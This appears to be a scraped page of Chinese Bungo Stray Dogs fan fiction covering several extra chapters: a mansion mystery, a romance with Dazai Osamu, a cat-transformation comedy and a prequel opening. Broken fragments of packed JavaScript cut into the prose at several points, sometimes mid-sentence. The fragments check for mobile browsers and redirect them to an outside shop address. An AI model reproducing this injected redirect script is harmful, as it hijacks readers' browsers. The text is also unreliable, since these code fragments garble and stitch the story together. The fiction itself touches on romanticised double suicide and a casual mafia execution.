0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099639|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然断电,大家就只能去睡觉了。”她活动下手腕,“诸位,做个好梦哦。” 好梦……大概不会有。 中岛敦浑身紧张地在幽深的走廊中前行,前夫引路的女仆小姐姐脚步很轻,身边的镜花酱似乎也有些困倦,所以一言不发…… 路过回廊转角时,突如其来的闪电恰好照亮角落里的黑武士雕塑,它手中所持黑色的长刀也沾染雷光,其上“恶鬼杀灭”几个字流转生辉。 “镜、镜花酱。”他干巴巴地说:“你有没有觉得……这座雕像是活的啊?” “小心!” 室内明明灭灭,刀光亮如白虹,在他眼前一闪,耳边传来清脆的碰撞声,一点金色火花乍现—— 似乎是短刃与长刀碰撞时激起的。 女仆小姐在惊呼声中丢下了蜡烛灯,它落在地上滚动两圈,最终闪烁着熄灭。 室内陷入一片黑暗。 “快跑!”泉镜花冷静的声音再次响起,“向大厅那跑。” 来的时候他们看见走廊的尽头都放着黑武士雕像,只有中央正厅和房间里没有。 雪野小姐说她一共买了二十四座雕像,其中有四座被放在月见里公馆,也就是说……现在庄园里还有整整二十座武士雕像!? 黑武士身上的铜甲落地,细微的振动从脚下传来,还有刀锋落在地面上并开始划动的声音。 “我们也去正厅!”五感灵敏的小老虎一手一个拉住泉镜花和腿软的女仆小姐,“如果其他的雕像也活了……社长他们一定也会去那里!” 走路需要将近十分钟的路程对于虎来说根本不算什么,等他赶到正厅大门,里面已经聚集了面色严肃的福泽谕吉和他身边借着闪电观察弹珠的江户川乱步。 以及同样匆匆赶来,不快的与谢野晶子和国木田独步。 “还以为能趁着暴雨睡个美容觉呢。”武侦医生将电锯当啷一下放在身边,让还没进门的谷崎兄妹和宫泽贤治一阵出汗。 ……哈哈,今个得是个不眠之夜呢。 “大家也都跟着赶过来了。”女仆小姐清点人数,“除了小姐、黑川先生和太宰先生,大家都在这里了!” “太宰那个笨蛋不会又去自杀了吧?” “他们不会有事吧?” 还不等女仆回答,又是一道闪电照亮室内众人—— 借助被雨水冲刷得无比干净的玻璃,窗外的院落里竟然有一辆车在行驶。 “开车的人是……黑川先生?”趴在玻璃上的中岛敦认出了那个头发花白浑身湿透的背影。 “管家先生怎么会在那里?” 而车子并没有停下的意思,反而速度越来越快,直到冲破虚掩的院门,驶离平整的柏油路,冲上泥泞的土路。 再往前,是横滨的一出断崖,其下正是一望无际的大海与海岸线上耸立的乱石堆。 几乎要与夜色融为一团的宾利冲出悬崖,最终落入海中。 此时,室内重入黑暗,雷声才传到众人耳中。 轰鸣的声响与室内沉默的氛围让眼前的玻璃都在抖动。 69.番外一(4)[番外] “月见里公馆的诅咒,实际上是异能者所为。” “从今天开始,此事全权移交为异能特务科处理。” 带着眼镜的西装男子推推眼镜,右手立于身前展示一纸公文,“雪野小姐,至于你的管家黑川雄,他本就是那个异能者集团的一员,所谓的密室杀人案与诅咒传言,都是那个组织为了谋取雪野财团利益的烟雾弹而已。” “但因组织内分赃不均,黑川雄也被组织谋杀。” “原来如此……” “多谢你,坂口安吾先生。” . “黑川先生?” 举着灯的雪野夕与走廊尽头的中年男子对视,“这么晚了,您还有什么事吗?” “没事。”黑川先生露出一个勉强的笑容,“只是刚刚送太宰先生去他的房间,他说房间里实在太黑,希望我能多给他拿两盏灯而已。” “原来是这样,那您快去快回。”她露出一个和缓的笑容,“电路要明早才能修好……希望今夜不要再出现什么意外。” 黑川雄僵硬地点头,身影随着一盏小灯消失在拐角处。 “太宰先生、太宰先生!” “您要的灯送来了!” 黑川雄敲了两下虚掩着的门,屋内一片寂静无声,他感到一阵奇怪,忍不住推开门一探究竟。 本来关得严实的床被居住者打开一个小缝,狂风暴雨正顺着缝隙渗漉进这栋房子,名贵的手工窗帘湿了大半,有水滴一滴滴敲在木头地板上。 一滴、两滴…… 再这样下去,地板一定会膨胀开裂吧? 到时候就会发出“砰”地一声。 黑川雄从那真实的声响中回过神来,身后的门已经关上,黑黝黝的走廊消失不见。 “哟,没有吓到你吧?”罪魁祸首太宰治在黑暗中露出一个堪称和善的微笑。 “没……” “黑.手党成员,黑川雄先生。” “……!”被毫不留情地戳穿身份,黑川雄显然一惊,随后又很快调整情绪,“太宰先生,我不懂您在说什……” “月见里公馆,最初的选址之地是横滨一处地下异能者组织的大本营,但开发商只以为那处是一片无人问津的荒地。” “在杀死一个交接文员后,组织内尝到甜头——” “与其继续躲在垃圾堆中东躲西藏,不如直接将建成的月见里公馆当做大本营。” “没想到这种平静的日子只持续了五年,公馆就被卖给下一任主人了呢。” “虽然你们的组织算不上港口mafia那种庞大的集团,但能吸引异能者的加入,也算很不错嘛。” 说出这一切情报的太宰治姿态随意地倚靠在门边的沙发上,身上还穿着晚间颜色浅淡的浴衣,窗外的雨似乎将他也打湿了,否则一个人身上为什么会带着如此的溺水气息呢? 当那双鸢色眸子一瞬不瞬地看着一个人,被注视者眼前便会下意识浮现暗无天日森林中幽暗青石上附着的苔藓、亦或是更深处荒无人烟的溪流,溪水潺潺,浸没其中的圆石毫无棱角却也让人无从下手。 当雷光闪烁间,就会照射出眼前人神秘莫测的色彩。 黑川雄握紧因为冰冷而毫无血色的手,不知是否还要再争辩什么。 平静地撕开一切真相的人却突然笑了。 大概是、月照晴山,生暮山紫。 “你很怕事情败露。” “因为雪野小姐坚决不相信你们组织内编造出的‘诅咒’传言,所以最好的办法,只能是她也被诅咒身亡不是吗?” “然后你们打算怎么办?”太宰治饶有兴致地欣赏着黑川雄在光线明灭间逐渐扭曲的脸,“没想到雪野小姐会邀请武装侦探社回到家中,但好在……” “好在雪野小姐心爱的黑武士雕塑是铜制中空的,非常方便你们的人隐藏在里面。” “更简单的是,你们组织中的异能者不擅长攻击,却在织造幻境上很有心得呢。” “等到我们死去,再利用你们明面上的人洗白上岸彻底占据月见里公馆,真是不错的计划呢。” “……”管家的胸口已经渐渐平复,“……即使我们的打算真如你所说又怎样?” 只要雪野夕死了,就算武侦的幸存者能说出真相又能怎样? 市民们总是更相信猎奇的传言,而非勾心斗角的无趣真相。 “可你们的计划从一开始就注定不会成功啊。” 反驳他的话语从太宰治口中吐出,像是某种山间精灵在叹息。 “黑川先生,只有人进入房间才会选择用钥匙,既然是妖怪的诅咒,为什么现场会留下一把备用钥匙呢?” 月见里公馆的每一扇门都有自己的钥匙,大门更是非常坚固,如果是组织的人藏身在黑武士雕塑内,绝对会将钥匙带走。 因为一个连公馆大门都视若无物的“妖怪”,在进入里面一个小房间时又何须使用钥匙呢? 而当时……他的记忆告诉他那把备用钥匙还应该好好地被存放于走廊末端,而不是被放在上了锁的收藏室里。 甚至是在一摊血泊里! 黑川雄这两日一直沉浸在组织内是否出现了什么分歧的惊慌中。 十年前的第一具尸体,那个死掉的年轻人正是他的朋友。 仅仅是展露出超过陌生人的善意,就被首领挑选为第一件“祭品”。 所以这些年,他不但信奉神明,更沉浸在自己隐晦的自责、扭曲的恐惧与卑劣的野心中。 “你绝对不想要被你的首领杀死吧?” 太宰治问:“当然……他的手段太粗暴了,缺乏高明的谋划。” “只依赖绝对的恐惧镇压组织,自己却不够聪明,难免有一天会被反噬哦。” . “乱步先生!请到我身后来!”国木田独步握住手中写着“理想”的本子,“可恶……这些雕像怎么……” 不但非常灵活,而且身手都快比得上港口mafia外勤部队里体术最顶尖的那一批人了! “不用担心名侦探哦。”江户川乱步反倒自得地在沙发上坐下,“反正眼前这些只是幻境而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115109|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “幻、幻境?”身边开着手电筒给他照明的女仆小姐结结巴巴地问:“那刚才黑川先生也是……?” “那个是真的。”借着灯火将刚刚没吃完的点心塞进嘴里,侦探含含糊糊的声音传来,“嗯……想洗脑别人反而失败了呢,自作自受哦。” “所以黑川先生真的死了?!”女仆小姐大叫,“不对!黑川先生是坏人!小姐呢?小姐怎么样了!” “哎?这个反倒是最不应该担心的问题呢……” . 暴雨整整洗礼了横滨三日,等到再次露出太阳的那天,碧空如洗、万里如云。 雪野夕将一束铃兰花放在墓碑前。 这里埋葬着所有在这场风波中死去的人。 “这个世界上有神吗?黑川先生。” “也许是有的吧,神明只会存在于人们心中。” “哦?我们的股东小姐似乎又有了新的感触啊。”不知道何时来到墓园的森鸥外整理衣冠,“这种时候即使是我也应该再正式一些呢。” 他长长的黑色风衣和红色围巾交织,在晴空下压抑出一方小小的阴暗。 在他身后还站着港口mafia的干部之一,重力使中原中也。 头发颜色很漂亮。 “原来是森先生。”雪野夕站起来,“感想不敢有太多,毕竟我更担心您插手本次风波,将雪野财团的股份占比进行压缩呢。” “居然被可爱的小姐说了如此犀利的话,爱丽丝酱。”港口mafia首领流下鳄鱼的眼泪,“即使是像我这个年纪的人,也有些受不了啊。” “港口mafia会将侵犯我们利益共同体的敌人全部撕碎,来保证我们的同盟不受影响。” 无需首领暗示,拥有落日余晖般发丝与钴蓝海洋眼眸的年轻干部保证。 . “敦君,不要拒绝工作嘛——”太宰治黏糊地拖长嗓音,“年轻人就要勇敢尝试啊。” “但是太宰先生……虽然只是文书,也不能全都丢给我啊……” “哎?真的不可以吗?”企图使用撒娇大法糊弄过去的人眼睛一抬,就看到雪野夕向他比了个“hi~”的手势。 “……雪野小姐怎么在这里?” “当然是来找你的啦,共犯先生。” “太宰先生?”被这个称呼弄得摸不到头脑的中岛敦有些疑惑,“为什么雪野小姐叫你……” “这个不重要。”雪野夕很自然地走到太宰治身边,“你没反驳……这么说来是接受我的表白的意思嘛?” 太宰治:“哈?” “等下、等下!”猫猫懒散的耳朵竖起来,“我是很想和美丽的小姐一起殉情啦!但我不……” “不会拒绝我的请求!”雪野夕“啪”一声合上双手,露出一如既往的可爱笑容,“对吧?” “毕竟刚刚是您说的哦,年轻人就要勇于尝试!” …… “那个……”过了好一会儿,晕乎乎的小老虎才转过弯来—— “乱步先生、国木田先生!太宰先生被雪野小姐拖走了!” 70.番外一(5)[番外] 坦白来说,太宰治并不认为雪野夕是认真的。 他被半推半就地拽出来,跟着雪野夕漫无目的地在横滨闲逛,嘴上甚至也在聊着一些玩笑般的话题—— “哎呀,共犯小姐是也想跟我一起殉情了吗?” “我完全不反……” 调笑的话语在触及到对方认真的神情时一顿。 居然来真的吗……? 有点措手不及的太宰治转变态度,甚至开始在心中打草稿,比如劝对方还是要珍惜生命之类的话。 流浪的人会渴求真心,话语中假意夹杂着真情,但当真心真的出现,反倒是不敢上前去确认了。 时间回到前几日的雨夜,在黑川雄洗脑不成反倒完全溺毙于自己那些痛苦的回忆中、最后在恍惚中冲向了走廊,很快消失在拐角。 而门外的墙边,还有一个背靠墙壁沉默不语的人。 “所以那天是雪野小姐将备用钥匙放在收藏室里的吧?”太宰治也学着她的姿势倚靠在门边,“组织的人确实已经将备用钥匙带回了雕塑内……但作为负责开门的人,雪野小姐在转动门把手时就已经察觉到不对。” “甚至于在前一起案子中就已经知道了管家先生的身份,但碍于不能将他们一同除去所以装作不知情的模样。” “不。”黑暗中的雪野夕开口,“黑川先生……我并不知道他所在的组织严酷至此,会在短时间内再次杀掉一个人。” 当开门时感知到重量不对劲时,她就第一时间用异能力将雕塑内的备用钥匙移动到了现场,黑川雄由此陷入任务完成得不够好的恐慌,再之后强调自己对传言的不信任……只是想催促那个组织不要再杀死无辜的人,转而向她这个关键人物下手而已。 “……所以您是在对死去的人愧疚吗?”黑暗中青年的声音包裹着水汽,“如果当初能够更加果决地解决掉身边的人?” “可能是吧。”雪野夕听见雨夜中传来的巨大撞击与爆炸声,闭上了眼睛,“也许现在算是我杀掉了黑川先生。” “但您,是共犯先生呢。” “真是新奇的称呼啊,共犯小姐。” . “居然需要走神那么久吗?” 视线汇聚,眼前的少女仰头抱臂望着他,看上去对研究他的表情很感兴趣。 顺着太宰治放空视线的眼神看过去,是横滨一家专卖棉花糖的店铺,纯手工制作,每日限量。 “……你想吃这个?”雪野夕歪歪头,“也对,前几天在我家你向庆子小姐索要咖啡的时候加了很多糖。” “我可不是被一根棉花糖就能骗走的男人哦。”将双手插进沙色风衣口袋,太宰治勉强找回一点往日应对各种各样小姐的游刃有余。 “也就是不会拒绝我给你买棉花糖的意思。”比他还要淡定的雪野夕表示听懂了他的言下之意,转头向店铺门口走去。 今日她过长的头发被扎成长长的麻花辫垂在脑后,发尾那一簇蓬蓬松松地扫过太宰治裸露在外的腕骨—— 像小猫咪临走前用尾巴勾了一下看中的两脚兽。 前去狩猎的长毛小猫咪对店长提出自己的请求,“来跟棉花糖,橘子味,谢谢。” “哎呀,真巧,店里的材料只能做最后一根橘子棉花糖了。”店长笑眯眯地感叹,“还稍微多了点,唔,那就给这位幸运的小姐做一跟加大版的吧。” “好。”雪野夕点头,“是我的……朋友想吃,他很幸运。” 付过钱后,她就把太宰治拉过来一起看老板手工制作棉花糖了。 等到那橘色的棉花糖递过来,雪野夕拿在手里,才若有所思地说:“蓬松又柔软,还是这么温暖的颜色,还挺像我不久前见到的一位先生呢。” “哎?”马上就想到她在说谁的太宰治顺杆爬,“雪野小姐前一秒才对我表白耶。” “可是我表白前不久太宰先生也在对咖啡店员小姐请求殉情啊。” 本就是故意找茬好让她知难而退的人轻哼一声,虽然对方使用了他“年轻人就要勇于尝试”这种话,但雪野小姐……分明也没有那么强烈的信念嘛。 否则刚刚为什么要跟老板说他只是朋友呢? 自觉对方应该不是认真的,太宰治暗自松口气,大概是一种预测到属于自己的蛋糕会摔在地上,如今看到它真的摔碎时露出松懈又痛苦的心情。 “给你。”雪野夕将棉花糖递过去,“虽说真的很希望使用一些‘强迫’的手段,但太宰先生对我来说是……自由生长的树木一样的存在。” “……” 未等到被评价为树木的人有什么反应,他沙色的风衣一角就被人小幅度地扯了扯。 动手的人是个很可爱的小女孩,她眼巴巴地看着太宰治刚刚接过的棉花糖,又想到店长说的“这是今天最后一根棉花糖了”,所以才试图用自己可爱的外表打动眼前的大哥哥。 ……妈妈说大人都不太爱吃糖的! 她攥紧手里的钱,想鼓起勇气与太宰治做交换。 “哦?是想要我手里的糖吗?”本来就只是盯着棉花糖发呆,其实并不奢望吃到的太宰治笑笑,“哎呀,小小姐的请求我当然不会……” “抱歉,不可以。”雪野夕拒绝小女孩的请求,得到了对方一脸呆萌的回应。 “这是送给喜欢的人的礼物。”她半蹲下身,一脸认真地跟对方商量,“喜欢的人是不能被辜负的哦。” “但你可以选择吃别的。”雪野夕淡然地掏出黑卡,“这条街上你选哪一个?” 只是想用自己的零花钱交换棉花糖的小女孩懵了一会儿,才奶声奶气地回答,“原来姐姐你喜欢这个大哥哥呀。” “如果棉花糖是礼物的话、芽衣就不要了。” 好不容易鼓起勇气的芽衣小姐是带着一兜零食离开的。 “……居然掏出黑卡对小小姐‘除了棉花糖想吃什么都可以’这种话。”从刚刚开始就一直举着棉花糖发呆的太宰治机械地重复了一下她的话,虽然他真正想重复的不是这句。 实际上如果不是雪野夕拉着他的衣袖,恐怕他半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129905|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时前就已经落荒而逃。 即使如此在对方的眼神看过来时,他也躲躲闪闪,但棉花糖自带的那一抹亮色还是在视线范围内不断蔓延。 ……轻而易举、毫无负担地说出那种话,也太犯规了。 即使是现在把他吊在树上拉伸颈骨,或者是丢进鹤见川呛水,应该也会比现在要更加轻松吧? 但这样做棉花糖一定会彻底消失不见的。 可实际上—— “我并不是什么自由生长的树啊,雪野小姐。”太宰治破罐子破摔一样地闭上眼睛,“我害怕痛苦、却期待死亡;每日沉溺在面对这氧化世界的痛苦中无法挣脱,甚至于雪野小姐会因为伤害别人的愧疚……而我也缺乏这种正确。” “先看清你,再喜欢你吗?”站在他对面的人比他想象中还要坚定,“实际上您这番话也许没说错……但人正是因为缺点才显得迷人,况且太宰先生已经猜到……我不是第一次见到您了吧?” 他们第一次见面要追溯到四年前。 或许那次也称不上见面。 那时十四岁的雪野夕跟随父母居住于欧陆,生活里最烦恼的事情大概是朋友源真理子捉弄完姐姐的暧昧对象后应该怎么善后,说实话源真理子完全不会捉弄别人,她能想到最恶毒的欺负人方式也就是告诉鹤羽同学在写数学作业时每一步都必须写得非常工整而已。 因为她要拿来抄。 至少她在听到源真理子得意洋洋地说出这句话后,对此表达了长达十分钟的沉默。 应该是对源未来又要骂她的场景感到哀悼吧。 她身边的同学们大多是异国面孔,所以在某天下午,当母亲雪野夫人告诉她家中有人拜访时,雪野夕一开始并没有什么兴趣。 那是一个有点炎热的午后,她躲在透白的纱帘下,随手拾起梳妆盒中的鸢色宝石,透过它望向窗外,却正好撞上拥有东方柔美面容的清俊少年。 对方站在楼下的树荫里,看上去比她大不了几岁,但被绷带缠住的身躯与脸庞都透露出安静的游刃有余。 他略略单薄肩上还披着稍显宽大的纯黑西装外套,正随着微风与树影一起摇动。 ……看上去真像一颗还未长成的树啊。 雪野夕放下宝石,黑发少年似乎也正好察觉到了视线,向她看过来—— 枝叶秋死,筋骨犹生。 . “所以那时候夕酱就对我一见钟情了哦。” 在表白事件过去几个月后,成功脱单的太宰治正在向国木田独步炫耀恋人。 “哎呀呀,国木田君应该听不懂吧,真遗憾呐。” “你!”被迫听了三四遍女朋友超好的金发青年脑袋上冒出十字路口,“工作没做完就不……” “交给敦哦。”整理好领结的人摆摆手,“夕酱已经在等着我了呢。” 他在身后的喧闹声中一路小跑下楼,身后是信赖同伴们,前面则是喜爱的恋人。 而在视线的尽头,是一片温柔的夕阳。 end. 71.番外二[番外] 如果和太宰治吵架会发生什么事? 雪野夕一脸茫然地从床上坐起来,身边皱巴的温热被窝里没有恋人的身影,而是变成了一小团黑影。 一只浑身漆黑、看样子不超过两个月大的猫咪正努力缩成煤球的样子安睡,脸颊两侧长长的胡子随着呼吸一抖一抖。 它四肢和尾巴末端都用柔滑的绷带缠绕起来,只刚好露出爪垫和乌黑的尾巴尖。 其中一只爪爪末端还勾着一枚闪亮亮的戒指。 不是、原来太宰治真的是猫咪吗? 雪野夕晕晕乎乎地想着,忍不住伸手摸摸猫猫头。 小黑猫的皮毛就像上好的丝绸,几乎不需要费力就能从头顶撸到尾巴尖。 睡眼惺忪的太宰猫咕噜几声,农民揣窝好,感受着自己背上来自恋人的抚摸,猫猫得意—— 哼哼夕酱,你也觉得我很可爱吧! 不不不,我怎么可以就这么随随便便原谅他! 雪野夕甩甩头,一把将太宰猫抄起来垫下巴,她趴在床上一边吸猫一边控诉,“我是不会随便原谅一个打游戏下围棋抽卡都不会让着我的丈夫的!” 哎呀,太宰猫用一只爪子洗洗脸,那就只好使出绝杀了呢。 从下巴底下钻出来的小猫伸了个懒腰,接着很大方地往后一躺,露出自己带着点白毛的柔软肚皮。 雪野夕:“……!” 猫猫,埋埋! 太宰治享受地和恋人的贴贴,同时思考一个严肃的问题,“喵喵喵!” “……喜欢你还是猫猫?”雪野夕已经捏上了他粉红色的爪垫,用力,爪子弹出来,放开,爪子收回去。 “喜欢你变得小猫,我们家里也没有第二只小猫呀。” “喵~” 猫爪在上原则啦。 太宰治用猫爪子拍拍恋人的手背,万一抓到夕酱就不好了。 他请的假已经到期,但是夕酱最近还在休假,没关系,武装侦探社谁会让小猫咪看文件和出勤呢。 计划通。 “是国木田君啊,太宰为什么还没去办公室?嗯……”雪野夕接起怨念打工人的电话,又对上恋人无辜的猫猫眼。 “那……” 半小时后,雪野夕头顶一只小黑猫推开武装侦探社大门,“织田作,敦君,镜花,乱步先生,快来看!” “哎?雪野小姐?”老实孩子中岛敦看着即将和她黑色渔夫帽融为一体的小黑猫,“您养猫了啊?” 泉镜花:“可爱。” “是太宰君啊。”半躺在椅子上吃零食的江户川乱步一眼就看出了这只神气的小猫咪真身,“唔,用‘书’变成这样真是作弊呢,不过社长应该会很开心。” “太宰变成猫了?”看上去略有困倦的红发青年神色有些困倦,他右手骨节上还沾了点墨水的痕迹,“看上去真不错呢。” “啊,我有了新的灵感。” 太宰治也从雪野夕肩头轻轻一跃,最终停在挚友桌前看着他用钢笔写下一个个灰黑字迹。 时不时还会用爪子按住洒落在织田作稿纸上的零星光斑。 在纸面上留下好几个梅花脚印之后,坏猫被雪野夕用倒过来的渔夫帽兜走制裁。 “居然用这种狡猾的方式逃脱工作啊,太宰。”国木田独步推推眼镜,“算了,反正今天是团建日……暂时不和你计较。” 团建的地点选在一处风景优美的山间温泉酒店,“美中不足”的地方就是除了武侦的一行人,还有另一批人也正在办理入住。 “真是巧呢,福泽阁下。”森鸥外笑眯眯地牵着金发小萝莉,“夕酱也回来了吗?居然没有第一时间告诉我嘛,好伤心……” 其实已经互相发过消息的雪野夕:…… Boss是戏精,同事们是煤气罐。 “欧陆一行很顺利哦,boss。”她又和同事们打招呼,“红叶姐,中也,银,我带了酒和伴手礼回来,大家都有份哦。” “人虎!” “……芥川。” “罗生门!” “芥川君!” “雪野小姐?” “看!是太宰猫!” “喵!?” “哎?!” “啊?太宰先生!” 雪野夕将一脸懵逼的太宰猫往他看好的下一任双黑那里一扔,“你们陪他玩一会哦。” 接到小猫咪的罗生门迅速变成柔软的外套,银灰色头发的少年赶紧一把接住太宰治。 “该死的人虎竟敢抢走太宰先生!” “喂喂喂要不芥川你来抱着吧!?” “在、在、在下当然能做到!” “什么啊那家伙变成猫了吗?”中原中也不爽地按住帽子,“谢谢你的酒啊,雪野。” “过一会儿一起喝一杯怎么样?”那边剑拔弩张的氛围丝毫没有影响到这边靠谱的大人组,尾崎红叶偷偷看了眼正在微笑的泉镜花,“大家都在的话又可以一起开女子会了呢。” “当然,桶口和晶子小姐、直美她们也来,还要给镜花换上果汁。”雪野夕摸摸身边芥川银的头发,“银好像又长高了啊。” “那就只能委屈中也独酌了哦。” “哈?好酒当然自己喝也可以。” 等到大家泡过温泉换上浴衣聚在一起聊天,女子组的话题不知不觉就进入了情感频道。 樋口一叶:“芥川前辈就算是不穿衣服也是最强的!” 尾崎红叶:“啊啦~小银还在耶。” 与谢野晶子:“下次跟我一起去牛郎店开香槟塔怎么样?” 雪野夕:“……她们两个好像都喝醉了吧?” 尾崎红叶:“……这确实不是小镜花应该听得话题呢。” 芥川银:“嗯……红酒,好香。” “去不去?”与谢野晶子搂过雪野夕和谷崎直美,“男人都是比较出来的!” “呃。”雪野夕有点沉默,“我怕一回家就发现太宰吊死在家门口。” “如果是哥哥大人去当牛郎的话……”谷崎直美想入非非。 “爱情吗?那真是美好的事物啊。”尾崎红叶端起手边的波尔多杯,红发与杯中的酒液交辉相应,“如果当年……” 她的话语最终隐没在浓醇的酒中,被一起咽下。 “为什么要聊这么伤感的话题啊!”与谢野晶子大手一挥,“我今天为了和大家聊天还特意带了真心话大冒险的盲盒呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144111|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大冒险……难道要去男浴偷窥吗?” “啊啊啊不许看芥川前辈!” “不要教坏镜花酱。” “如果能看到哥哥裸……” “……” “真心话还是真心话吧!”她们中唯一一个已婚人士雪野夕当机立断抽出一张卡,“不如大家各自抽一张写下来,最后分辨是谁的答案?” “对待喜欢的人要怎么办?—啊啊啊芥川前辈就是最好的!这也太明显了吧桶口。” “第一次心动的感觉?—和侦探社的大家并肩作战,镜花酱真的开朗了很多呢。” “最幸福的时刻?—能帮上哥哥和大家的忙真是太好了,我们银也长大了啊。” “真是毫无悬念的答案呢。”尾崎红叶笑着将酒放下,“与大家畅谈,倒是让妾身也开怀了许多。” “看来最后一张就是雪野的喽?” 就在尾崎红叶想要展开那张纸条时,她手边突然掠过一道黑影。 一只小黑猫啊呜一口叼住纸条跑上了树。 “哎?太宰?”雪野夕立刻就认出刚刚到底发生了什么,“你怎么在那里?” “喵喵!”叼着纸条的太宰猫拍拍树干,当然是因为在男浴那边被大家虎视眈眈想要轮流上来摸摸弄到炸毛才跑的。 虽然他知道自己是大帅哥……但还是只想让夕酱摸摸呢。 而且夕酱的真心话大冒险小纸条?当然是先给小猫咪看。 展开纸条,问题下是恋人熟悉的字体—— “如果有一天,你比恋人率先死去,你会对她/他说的最后一句话是什么呢?” “—これからは自分を大切にしてください。” “……” 树上的猫猫沉默下来,甚至耳朵都变成了飞机耳。 他委委屈屈地看向恋人——会殉情的哦,我绝对会殉情的哦! 太宰猫伤心欲绝地跳下树,只留给大家一个略带萧索的背影。 “所以夕酱写了什么?”尾崎红叶问。 “我希望被留下来的人今后能好好珍惜自己。”雪野夕轻轻拍拍她的手背,“即使是已经离开的人……他们也还是会站在你的未来中。” “是这样啊。”美丽的女人眼角出现一点晶莹的水迹,虽然很快隐去,但还是被周围的人关切地注视着。 “……多谢大家,妾身会记住这句话。” . 太宰治变猫的第二天,雪野夕再次醒来,但今早的意外是—— “叽叽叽?” 变成黑毛垂耳兔的她一脸懵逼,这是什么情况? “因为夕酱老说要我陪你玩嘛。”已经变回来的太宰治一脸理直气壮,“昨天是我变成猫咪,今天该夕酱变成小兔子了哦。” 他双手把毛茸茸的恋人捧起来蹭蹭,即使挨了几下兔兔拳也丝毫没有动摇,“我今天可是真的请假了哦,” “……我才不会听夕酱的呢。” 埋在她毛毛里的人小声诉说。 “等到分别的那一天来临……不,我们不会分别的。” “我会跟上去。” 既然已经说好被名为太宰治的深渊吞没,那就永远不要分开呀。 72.番外三(1)[番外] 在细雨濛濛的天气中杀掉几个组织的叛徒这种事,对十五岁的太宰治来说简直就像失眠一样简单。 他日常在废弃的集装箱上托腮坐下,望着远处的废墟发呆,时不时轻轻晃晃小腿,如果忽略地面上浑身发抖、汗如雨下的男人,这幅画面简直就像是猫猫蹲坐在高处思考着什么哲学问题一样。 果然,下一秒,猫猫伸出爪子将身边属于叛徒的手机推了下去。 翻盖手机的屏幕摔个粉碎,那个男人应声抖如筛糠——他知道自己的命运大概也将会是像手机一样粉身碎骨。 “喂!” 太宰治身边落下一个橘发少年,皱着眉看完男人被处决的一幕,对方嘴里被塞了东西,连喉咙中最后的哀嚎都无法发出。 而缠着绷带的黑发少年相当平静地看完了这血腥的场面,最终评价:“甚至算不上一出好戏。” 中原中也没有虐待任何人的习惯,但他同样不怎么对别人指手画脚,一声轻轻的“啧”也许就表达了他的些许不赞同。 叛徒理应被惩罚,这是共识。 用些手段撬开他们的嘴,这也是共识。 但眼睛都不眨一下地处决曾经跟在自己身边做事的人,也许是港口mafia的报丧鸟太宰治才能做到的事。 “他的隐瞒手法相当粗劣。”黑色西装大衣在空中划过优美的弧线,说话的人像一抹乌云一样在细雨中轻飘飘落地,很难不让人猜测他的脚底是不是有猫咪爪垫一样的构造。 “……更别说被发现后居然打算用一小笔钱来作为封口费,呵。” 但他干得却都是走私一类的大事……人性啊,居然傲慢又卑怯到如此地步。 太宰治乏味地迈开步伐,昨夜他又一次失眠了,也许现在他应该找到自己最常去的那家咖啡店,点上一杯浓浓的黑咖啡才行。 “麻烦加三块,不,还是四块方糖吧。” 最终还是临时反悔了。 果然现磨咖啡豆不加糖,那种又酸又苦的味道……没人能受得了吧? “麻烦来一杯咖啡,别放任何糖,也别加奶制品。” 身后传来一个倦怠的女声,年纪听起来和他差不多大。 太宰治难得心怀敬佩地朝后打量,刚来的留公主切发型的绿眸小姐大概十五六岁,穿着有些潮湿的绀青制服、灰色小腿袜和短靴,但她的制服袖扣解开向上挽起,连有些花哨的领带也没有打,而是被她随意地系在一侧手腕上。 看上去像逃学的女子高中生? 对方白皙的脸上还挂着两片浓重的黑眼圈,颜色深得都快赶得上她沾水的校服了。 辽远的森林带上了阴影,这可并不让人轻松啊。 雪野夕向后靠在墙上,困得快要睁不开眼睛。 天天上这个小提琴课真是好烦啊,为什么继国老师的剑道课一周才一节呢。 而且自己上次只不过是将喜欢念叨“女孩子就应该温柔贤淑”的神宫寺野明同学打哭,把木刀架在他脖子上问他承不承认自己温柔贤淑而已。 连这点小事家庭教师都要责备她,啧。 恰好店员将咖啡递过来,她想也没想,就端起杯子喝了一大口。 “!” “为什么会这么甜!” “为什么会这么苦!” 同一时间双双喝了一口咖啡的太宰治和雪野夕面面相觑。 